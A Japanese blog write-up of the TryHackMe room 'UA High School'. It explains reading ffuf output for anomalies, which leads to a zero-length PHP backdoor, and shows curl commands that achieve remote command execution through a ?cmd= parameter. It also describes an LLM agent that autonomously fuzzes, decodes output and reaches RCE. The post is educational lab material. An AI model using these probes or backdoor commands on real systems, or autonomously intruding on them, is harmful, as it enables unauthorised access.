このffuf結果、どれが怪しいかわかりますか?(テヘペロ)
背景
えー。唐突ですけど。ffufの結果って、流し見してませんか?
僕はしてました。「あー、これとこれがあるのね」ってステータスコードだけ確認して、次のアクションに移っちゃう感じ。
だいたいこんな出力がバーって流れてくるじゃないですか。
"status","length","words","lines","content_type","url","redirect"
200,2542,276,53,"text/html","http://<target_ip>/about.html",""
200,2573,232,64,"text/html","http://<target_ip>/admissions.html",""
301,313,20,10,"text/html; charset=iso-8859-1","http://<target_ip>/assets","http://<target_ip>/assets/"
301,320,20,10,"text/html; charset=iso-8859-1","http://<target_ip>/assets/images","http://<target_ip>/assets/images/"
200,0,1,1,"text/html; charset=UTF-8","http://<target_ip>/assets/index.php",""
200,2056,142,72,"text/html","http://<target_ip>/contact.html",""
200,2580,180,88,"text/html","http://<target_ip>/courses.html",""
200,1988,171,62,"text/html","http://<target_ip>/index.html",""
どれが怪しいかわかりますか?
- 「全部
200で正常やん」 - 「
301は普通のリダイレクトやん」 - 「所々エンコード違うけど。それがなにか?」
...って思いますよね。
でも1行だけ、明らかに違うやつが混じってます。
対象ルーム
今回やってたのは TryHackMe の UA High School というルーム。
ヒロアカ(僕のヒーローアカデミア)の設定で、UA高校のWebサーバに侵入するというやつ。
ちなみに自分はヒロアカという漫画はうっすらしかしらない。
なんか学校のサイトがあるな、くらいの温度感でffufを回しました。
使ったコマンド
ffuf -u "http://$RHOST/FUZZ" \
-w /usr/share/seclists/Discovery/Web-Content/common.txt \
-ac \
-e .php,.html,.txt,.bak \
-recursion -recursion-depth 2 \
-t 150 -timeout 5 -c \
-o result.json -of json
結果はjqでCSVに変換して確認した。
| オプション | 意味 |
|---|---|
-ac |
自動キャリブレーション。偽陽性を自動でフィルタ |
-e .php,.html,.txt,.bak |
拡張子つきでもスキャン |
-recursion -recursion-depth 2 |
発見したディレクトリを再帰的に探索 |
-t 150 |
並列スレッド数 |
スレッド数はマシンスペック等に依存するのでチューニング必要。
攻撃するマシン能力にもよるからなんとも言えんけど、適当に150に設定♪
怪しいやつの正体
答え言います。
200,0,1,1,"text/html; charset=UTF-8","http://<target_ip>/assets/index.php",""
length=0 です。
他のHTMLファイルは全部 2000〜2500バイト 返ってきてる。
なのにこのPHPファイルだけ、ゼロ。
200 OKなのに中身がない。
でも待てよ。PHPが200返すのに中身ゼロって、何もしないPHPわざわざ置く?
普通に考えて、PHPが「何も返さない」パターンって:
- パラメータを渡さないと何もしない
- エラーを握りつぶしてる
- 条件を満たさないと動かない
- etc...
どれにしても、何かを待ってる感じがする。
という推測を立ててですね。
パラメータ名を総当たりしてみた
「何かを待ってる」なら、まずパラメータ名を総当たりしてみよう。
ffuf -u "http://<target_ip>/assets/index.php?FUZZ=1" \
-w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt \
-t 150 -timeout 5 -c \
-o result.json -of json
burp-parameter-names.txtというSecListsのワードリストでパラメータ名を片っ端から試す。
FUZZの部分にパラメータ名が入って、valueは1固定。
なんで1にしたか?適当ですよ___
結果がこれ。(jsonは見づらいためjqを使用してcsvで整形)
"status","length","words","lines","content_type","url","redirect"
200,0,1,1,"text/html; charset=UTF-8","http://<target_ip>/assets/index.php?googleplus=1",""
200,0,1,1,"text/html; charset=UTF-8","http://<target_ip>/assets/index.php?goto=1",""
200,0,1,1,"text/html; charset=UTF-8","http://<target_ip>/assets/index.php?gotod=1",""
200,0,1,1,"text/html; charset=UTF-8","http://<target_ip>/assets/index.php?gpack=1",""
200,0,1,1,"text/html; charset=UTF-8","http://<target_ip>/assets/index.php?gpsinitcmd=1",""
...
全部200、全部length=0。
「え、全パラメータが有効ってこと?」って思うんですが。
googleplusもgpsinitcmdも同じ結果って、パラメータ名を見てないんじゃないの?
ここで気づいた。
valueが1固定だった。適当過ぎた。
サーバーはたぶん「コマンドとして実行できる値が来たら出力する」という作りで、
?cmd=1も?googleplus=1も、実行しても意味のある出力がないからlength=0で返してる。
パラメータ名が何であれ、値が悪ければ何も返ってこない。
もうちょっというと、
valueが1だとcommand not found: 1って返ってきてもいい。。
おそらくstderrは表示されず、stdoutしか返さない。
つまりこのスキャンで「全パラメータが有効」と読むのは間違い。
じゃあvalueを変えてみる
- パラメータ名が問題じゃなく、valueが問題なんだとしたら。
-
length=0のPHPファイルが「コマンド実行系のバックドア」だとしたら。
ここからは地道に泥臭くなんすよぇ。
curl "http://<target_ip>/assets/index.php?cmd=id"
レスポンスが返ってきた。
dWlkPTMzKHd3dy1kYXRhKSBnaWQ9MzMod3d3LWRhdGEpIGdyb3Vwcz0zMyh3d3ctZGF0YSkK
文字列は返ってきたけど、そのままでは読めん。
ふざけるな!
こういうときは、CyberChefの "Magic" レシピ に投げるんです。
Base64 ぽいと判定してくれた。確認できたのでデコードする。
curl "http://$RHOST/assets/index.php?cmd=id" | base64 -d
uid=33(www-data) gid=33(www-data) groups=33(www-data)
刺さったぁ。
idコマンドの結果がそのまま返ってきた。
shell_exec()か何かで、パラメータをそのままOSに投げてるやつ。
RCEです。リモートコード実行。
「length=0の200 OK」が、バックドアの入口だった。
おまけ:LLMにやらせてみた
実は今回、自作のffufラッパースクリプトにClaude CLIを組み込んだLLMモードを作ってて。
my-ffuf llm "http://<target_ip>/assets/index.php"
こいつにエンドポイントを渡したら、自律的に:
- curlでベースラインを確認
-
length=0に着目 -
?cmd=を試行 - Base64をデコード
- ファイルシステムを探索
...を順番にやってRCEまで到達してルームの攻略まで推論。
もう人間がペンテストをやる意味が。。。って思った。
しかしかなりレスポンスが遅い。20~30分くらいかかる。おせーおせー。
まとめ
length=0の200 OKを見たら疑え。
| パターン | 意味 |
|---|---|
200 + length > 0
|
普通のページ |
301 |
リダイレクト |
200 + length = 0
|
何かを待ってる可能性がある |
ffufの結果は「URLの一覧」じゃなくて、「レスポンスの差分」として読む。
数字の違和感を見つけたら、そこを掘る。ってことで。
Discussion